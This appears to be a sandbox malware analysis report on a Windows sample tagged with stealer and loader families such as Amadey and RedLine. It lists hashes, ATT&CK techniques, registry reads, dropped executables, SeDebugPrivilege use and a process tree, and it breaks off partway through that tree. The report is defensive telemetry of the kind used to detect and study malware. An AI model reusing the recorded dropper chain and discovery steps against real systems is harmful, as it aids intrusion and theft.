b763db6a5de09d276e88cf642e1847466c35a8dc5801d351aefb03a40219c0b9

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 05:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Size 722KB
Sample261002-gh7zvasvhs
SHA256 b763db6a5de09d276e88cf642e1847466c35a8dc5801d351aefb03a40219c0b9
MD5 af8838be20ea13ee4935afb780b5c00a
SHA1 b723404ef004287fb758730bfa5aa081a8a84330
SHA512 2bf644eda26e47e892eece54483a49a6b925bf7dd79f11261693743a17d8f0af1524e3caae6e548cf502dd3a07962e8feb935af975323512f17af1b8935a66bd
SSDEEP 12288:RflfAsiVGjSGecvXAflfAsiVGjSGecvX:ZMcfcMcf
TLSH
T16CF47C04BAA4F0F6DD95047800EBAF36967EB4281726CBC7E354CE5D99113C3A9346AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
6016	bwuomjebwurmjebz.exe
5716	bwuomjebwurmjebz.sys
5092	CreateProcess.exe
6020	trljdztrjb.exe
4956	CreateProcess.exe
4864	CreateProcess.exe
3232	i_trljdztrjb.exe
956	geywtomgey.sys
4124	CreateProcess.exe
5396	bvtojgeywq.exe
4236	CreateProcess.exe
4092	CreateProcess.exe
3712	i_bvtojgeywq.exe
5312	fdyvqoigay.sys
4980	CreateProcess.exe
5548	gaytqljdbv.exe
6140	CreateProcess.exe
5308	CreateProcess.exe
5292	i_gaytqljdbv.exe
4436	vqkigaysql.sys
5300	CreateProcess.exe
4520	snkidavtnl.exe
5960	CreateProcess.exe
1268	CreateProcess.exe
2100	i_snkidavtnl.exe
4440	nigaysqkid.sys
5316	CreateProcess.exe
4932	xvpnkfdxvp.exe
1980	CreateProcess.exe
4192	CreateProcess.exe
1476	i_xvpnkfdxvp.exe
2540	zxusmkfcau.sys
4928	CreateProcess.exe
4256	fcausnkfdx.exe
5972	CreateProcess.exe
2988	CreateProcess.exe
1960	i_fcausnkfdx.exe
2108	fzxrpkhczu.sys
4260	CreateProcess.exe
5352	zxrpjhczus.exe
4460	CreateProcess.exe
3784	CreateProcess.exe
4920	i_zxrpjhczus.exe
1700	wrpjhecwur.sys
5924	CreateProcess.exe
6028	wurmjhezxr.exe
4392	CreateProcess.exe
3444	CreateProcess.exe
2624	i_wurmjhezxr.exe
4508	hbztrmjebw.sys
2844	CreateProcess.exe
2932	romgebwuoj.exe
2924	CreateProcess.exe
3524	CreateProcess.exe
3376	i_romgebwuoj.exe
5852	ojgebwtrom.sys
5064	CreateProcess.exe
4908	ljgebwtroj.exe
2364	CreateProcess.exe
4812	CreateProcess.exe
4584	i_ljgebwtroj.exe
3748	oljdbvtolg.sys
5856	CreateProcess.exe
3228	ligaytqljd.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_91061875\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_91061875\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_91061875\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_573537700\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_17264475\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_117519478\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_117519478\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_91061875\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_551292690\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_551292690\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_17264475\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_117519478\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_117519478\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gaysqlidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	olgeywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snkidavtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnkfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wurmjhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spkicsmkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	romhezxrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_olgeywqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trljdztrjb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snkidavtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnkfdxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpjhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaysqlidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xspnlfcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpjhczus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_romgebwuoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ligaytqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_romhezxrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trljdztrjb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gaytqljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcausnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wurmjhezxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ligaytqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnhfzxusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnhfzxusmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hbztrljebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaytqljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	romgebwuoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljgebwtroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljgebwtroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xspnlfcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hbztrljebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgebztromj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcausnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvtojgeywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgebztromj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwuomjebwurmjebz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvtojgeywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spkicsmkhc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4792	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3292	ipconfig.exe
2908	ipconfig.exe
3500	ipconfig.exe
5344	ipconfig.exe
3148	ipconfig.exe
5944	ipconfig.exe
2624	ipconfig.exe
3352	ipconfig.exe
6044	ipconfig.exe
4964	ipconfig.exe
3784	ipconfig.exe
4676	ipconfig.exe
4788	ipconfig.exe
1680	ipconfig.exe
4268	ipconfig.exe
5548	ipconfig.exe
3492	ipconfig.exe
3452	ipconfig.exe
3904	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-696679853-3915825385-3233721679-1000\{825FCC83-11A9-40EC-BB27-84D5FA042B48}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
6016	bwuomjebwurmjebz.exe
6016	bwuomjebwurmjebz.exe
6016	bwuomjebwurmjebz.exe
6016	bwuomjebwurmjebz.exe
6016	bwuomjebwurmjebz.exe
6016	bwuomjebwurmjebz.exe
6016	bwuomjebwurmjebz.exe
6016	bwuomjebwurmjebz.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1568	msedge.exe
1568	msedge.exe
1568	msedge.exe
1568	msedge.exe
1568	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	3232	i_trljdztrjb.exe
Token: SeDebugPrivilege	3712	i_bvtojgeywq.exe
Token: SeDebugPrivilege	5292	i_gaytqljdbv.exe
Token: SeDebugPrivilege	2100	i_snkidavtnl.exe
Token: SeDebugPrivilege	1476	i_xvpnkfdxvp.exe
Token: SeDebugPrivilege	1960	i_fcausnkfdx.exe
Token: SeDebugPrivilege	4920	i_zxrpjhczus.exe
Token: SeDebugPrivilege	2624	i_wurmjhezxr.exe
Token: SeDebugPrivilege	3376	i_romgebwuoj.exe
Token: SeDebugPrivilege	4584	i_ljgebwtroj.exe
Token: SeDebugPrivilege	4508	i_ligaytqljd.exe
Token: SeDebugPrivilege	2404	i_gaysqlidbv.exe
Token: SeDebugPrivilege	4264	i_xspnlfcaus.exe
Token: SeDebugPrivilege	1908	i_spkicsmkhc.exe
Token: SeDebugPrivilege	6060	i_pnhfzxusmk.exe
Token: SeDebugPrivilege	2452	i_romhezxrpj.exe
Token: SeDebugPrivilege	4076	i_hbztrljebw.exe
Token: SeDebugPrivilege	2352	i_mgebztromj.exe
Token: SeDebugPrivilege	5164	i_olgeywqoig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1568	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5620 wrote to memory of 6016	5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 5620 wrote to memory of 5056	5620	2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 5056 wrote to memory of 1568	5056	iexplore.exe	91
PID 1568 wrote to memory of 704	1568	msedge.exe	92
PID 1568 wrote to memory of 2104	1568	msedge.exe	93
PID 1568 wrote to memory of 4792	1568	msedge.exe	94
PID 1568 wrote to memory of 2104	1568	msedge.exe	93
PID 1568 wrote to memory of 2104	1568	msedge.exe	93
PID 1568 wrote to memory of 4372	1568	msedge.exe	95
PID 1568 wrote to memory of 4372	1568	msedge.exe	95
PID 1568 wrote to memory of 2688	1568	msedge.exe	97
PID 1568 wrote to memory of 5748	1568	msedge.exe	98
PID 1568 wrote to memory of 2688	1568	msedge.exe	97
PID 1568 wrote to memory of 2688	1568	msedge.exe	97
PID 1568 wrote to memory of 5748	1568	msedge.exe	98
PID 1568 wrote to memory of 5748	1568	msedge.exe	98
PID 1568 wrote to memory of 4924	1568	msedge.exe	99
PID 1568 wrote to memory of 6076	1568	msedge.exe	100
PID 1568 wrote to memory of 4924	1568	msedge.exe	99
PID 1568 wrote to memory of 4924	1568	msedge.exe	99
PID 1568 wrote to memory of 6076	1568	msedge.exe	100
PID 1568 wrote to memory of 6076	1568	msedge.exe	100
PID 1568 wrote to memory of 3232	1568	msedge.exe	120
PID 1568 wrote to memory of 3232	1568	msedge.exe	120
PID 6016 wrote to memory of 5092	6016	bwuomjebwurmjebz.exe	105
PID 1568 wrote to memory of 2512	1568	msedge.exe	107
PID 1568 wrote to memory of 4780	1568	msedge.exe	106
PID 1568 wrote to memory of 2512	1568	msedge.exe	107
PID 1568 wrote to memory of 4780	1568	msedge.exe	106
PID 1568 wrote to memory of 3220	1568	msedge.exe	110
PID 6020 wrote to memory of 4956	6020	trljdztrjb.exe	112
PID 1568 wrote to memory of 4520	1568	msedge.exe	117
PID 1568 wrote to memory of 4520	1568	msedge.exe	117
PID 1568 wrote to memory of 5960	1568	msedge.exe	118
PID 1568 wrote to memory of 5960	1568	msedge.exe	118
PID 6016 wrote to memory of 4864	6016	bwuomjebwurmjebz.exe	119
PID 6016 wrote to memory of 4124	6016	bwuomjebwurmjebz.exe	123
PID 5396 wrote to memory of 4236	5396	bvtojgeywq.exe	125
PID 6016 wrote to memory of 4092	6016	bwuomjebwurmjebz.exe	128
PID 6016 wrote to memory of 4980	6016	bwuomjebwurmjebz.exe	132
PID 5548 wrote to memory of 6140	5548	gaytqljdbv.exe	134
PID 6016 wrote to memory of 5308	6016	bwuomjebwurmjebz.exe	137
PID 6016 wrote to memory of 5300	6016	bwuomjebwurmjebz.exe	142
PID 4520 wrote to memory of 5960	4520	snkidavtnl.exe	144
PID 6016 wrote to memory of 1268	6016	bwuomjebwurmjebz.exe	147
PID 1568 wrote to memory of 6068	1568	msedge.exe	149
PID 1568 wrote to memory of 4812	1568	msedge.exe	150
PID 1568 wrote to memory of 5856	1568	msedge.exe	151
PID 6016 wrote to memory of 5316	6016	bwuomjebwurmjebz.exe	154
PID 4932 wrote to memory of 1980	4932	xvpnkfdxvp.exe	156
PID 6016 wrote to memory of 4192	6016	bwuomjebwurmjebz.exe	159
PID 6016 wrote to memory of 4928	6016	bwuomjebwurmjebz.exe	163
PID 4256 wrote to memory of 5972	4256	fcausnkfdx.exe	165
PID 6016 wrote to memory of 2988	6016	bwuomjebwurmjebz.exe	168
PID 6016 wrote to memory of 4260	6016	bwuomjebwurmjebz.exe	172
PID 5352 wrote to memory of 4460	5352	zxrpjhczus.exe	174
PID 6016 wrote to memory of 3784	6016	bwuomjebwurmjebz.exe	177
PID 6016 wrote to memory of 5924	6016	bwuomjebwurmjebz.exe	181
PID 6028 wrote to memory of 4392	6028	wurmjhezxr.exe	183
PID 6016 wrote to memory of 3444	6016	bwuomjebwurmjebz.exe	186
PID 1568 wrote to memory of 5512	1568	msedge.exe	188
PID 1568 wrote to memory of 5512	1568	msedge.exe	188
PID 6016 wrote to memory of 2844	6016	bwuomjebwurmjebz.exe	194
PID 2932 wrote to memory of 2924	2932	romgebwuoj.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-01_af8838be20ea13ee4935afb780b5c00a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5620
- C:\Temp\bwuomjebwurmjebz.exe
  C:\Temp\bwuomjebwurmjebz.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:6016
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\trljdztrjb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5092
  - - C:\Temp\trljdztrjb.exe
      C:\Temp\trljdztrjb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6020
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4956
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5548
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_trljdztrjb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4864
  - - C:\Temp\i_trljdztrjb.exe
      C:\Temp\i_trljdztrjb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3232
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bvtojgeywq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4124
  - - C:\Temp\bvtojgeywq.exe
      C:\Temp\bvtojgeywq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5396
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4236
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2624
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bvtojgeywq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4092
  - - C:\Temp\i_bvtojgeywq.exe
      C:\Temp\i_bvtojgeywq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3712
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gaytqljdbv.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4980
  - - C:\Temp\gaytqljdbv.exe
